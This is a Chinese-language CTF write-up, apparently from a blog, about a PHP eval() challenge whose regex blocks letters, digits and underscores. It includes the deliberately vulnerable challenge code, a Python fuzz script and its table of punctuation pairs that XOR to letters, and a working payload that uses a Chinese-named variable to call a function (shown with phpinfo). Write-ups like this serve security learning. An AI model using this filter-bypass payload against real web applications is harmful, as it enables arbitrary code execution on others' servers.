前段时间看了一个比赛,题目应该算是比较旧的了
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Long.");
}
$a = preg_match("/[A-Za-z0-9_]+/",$code);
print_r($a);
if($a){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
代码中有提示,可以执行getFlag()这个函数获取flag
这个题目的考点就在于正则这块儿了
不能出现字母数字还有下划线,之前有比赛题目是可以出现下划线的
那这里就可以写一小小段代码来fuzz一下,哪些字符通过异或可以产生a-zA-Z_
import string
if __name__ == "__main__":
s = string.printable[62:62+32] ##代表 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
s1 = string.printable[:62] ##代表 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
for i in s:
for j in s:
x = chr(ord(i)^ord(j))
if x in s1+'_':
print '{0}\t{1}\t{2}'.format(i,j,x)
上面产生的结果是
! @ a
! [ z
! ` A
! { Z
! ~ _
" @ b
" [ y
" ` B
" { Y
" } _
# @ c
# [ x
# ` C
# { X
# | _
$ @ d
$ \ x
$ ] y
$ ^ z
$ ` D
$ { _
$ | X
$ } Y
$ ~ Z
% @ e
% \ y
% ] x
% _ z
% ` E
% | Y
% } X
& @ f
& \ z
& ^ x
& _ y
& ` F
& | Z
& ~ X
' @ g
' ] z
' ^ y
' _ x
' ` G
' } Z
' ~ Y
( @ h
( [ s
( \ t
( ] u
( ^ v
( _ w
( ` H
( { S
( | T
( } U
( ~ V
) @ i
) [ r
) \ u
) ] t
) ^ w
) _ v
) ` I
) { R
) | U
) } T
) ~ W
* @ j
* [ q
* \ v
* ] w
* ^ t
* _ u
* ` J
* { Q
* | V
* } W
* ~ T
+ @ k
+ [ p
+ \ w
+ ] v
+ ^ u
+ _ t
+ ` K
+ { P
+ | W
+ } V
+ ~ U
, @ l
, [ w
, \ p
, ] q
, ^ r
, _ s
, ` L
, { W
, | P
, } Q
, ~ R
- @ m
- [ v
- \ q
- ] p
- ^ s
- _ r
- ` M
- { V
- | Q
- } P
- ~ S
. @ n
. [ u
. \ r
. ] s
. ^ p
. _ q
. ` N
. { U
. | R
. } S
. ~ P
/ @ o
/ [ t
/ \ s
/ ] r
/ ^ q
/ _ p
/ ` O
/ { T
/ | S
/ } R
/ ~ Q
: @ z
: [ a
: \ f
: ] g
: ^ d
: _ e
: ` Z
: { A
: | F
: } G
: ~ D
; \ g
; ] f
; ^ e
; _ d
; | G
; } F
; ~ E
< [ g
< ] a
< ^ b
< _ c
< { G
< } A
< ~ B
= [ f
= \ a
= ^ c
= _ b
= { F
= | A
= ~ C
> [ e
> \ b
> ] c
> _ a
> { E
> | B
> } C
? [ d
? \ c
? ] b
? ^ a
? ` _
? { D
? | C
? } B
? ~ A
@ ! a
@ " b
@ # c
@ $ d
@ % e
@ & f
@ ' g
@ ( h
@ ) i
@ * j
@ + k
@ , l
@ - m
@ . n
@ / o
@ : z
[ ! z
[ " y
[ # x
[ ( s
[ ) r
[ * q
[ + p
[ , w
[ - v
[ . u
[ / t
[ : a
[ < g
[ = f
[ > e
[ ? d
\ $ x
\ % y
\ & z
\ ( t
\ ) u
\ * v
\ + w
\ , p
\ - q
\ . r
\ / s
\ : f
\ ; g
\ = a
\ > b
\ ? c
] $ y
] % x
] ' z
] ( u
] ) t
] * w
] + v
] , q
] - p
] . s
] / r
] : g
] ; f
] < a
] > c
] ? b
^ $ z
^ & x
^ ' y
^ ( v
^ ) w
^ * t
^ + u
^ , r
^ - s
^ . p
^ / q
^ : d
^ ; e
^ < b
^ = c
^ ? a
_ % z
_ & y
_ ' x
_ ( w
_ ) v
_ * u
_ + t
_ , s
_ - r
_ . q
_ / p
_ : e
_ ; d
_ < c
_ = b
_ > a
` ! A
` " B
` # C
` $ D
` % E
` & F
` ' G
` ( H
` ) I
` * J
` + K
` , L
` - M
` . N
` / O
` : Z
` ? _
{ ! Z
{ " Y
{ # X
{ $ _
{ ( S
{ ) R
{ * Q
{ + P
{ , W
{ - V
{ . U
{ / T
{ : A
{ < G
{ = F
{ > E
{ ? D
| # _
| $ X
| % Y
| & Z
| ( T
| ) U
| * V
| + W
| , P
| - Q
| . R
| / S
| : F
| ; G
| = A
| > B
| ? C
} " _
} $ Y
} % X
} ' Z
} ( U
} ) T
} * W
} + V
} , Q
} - P
} . S
} / R
} : G
} ; F
} < A
} > C
} ? B
~ ! _
~ $ Z
~ & X
~ ' Y
~ ( V
~ ) W
~ * T
~ + U
~ , R
~ - S
~ . P
~ / Q
~ : D
~ ; E
~ < B
~ = C
~ ? A
然后需要将异或产生的字符串保存到变量中,这里有一个坑,我们学到的php变量命名规则是需要"a-zA-Z_"这样的字符作为变量开头,但是这里全都给禁用了,所以使用中文作为变量(我搞不太懂这里的原理,有表哥知道的请指正)
由于题目中已经给出了hint,所以直接构造getFlag函数即可,目前已知最短payload(这里我用phpinfo做测试)
$啊="-@-@@[@"^"](]).=/";$啊();
参考文章:
Complete Character List for UTF-8
http://www.fileformat.info/info/charset/UTF-8/list.htm
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏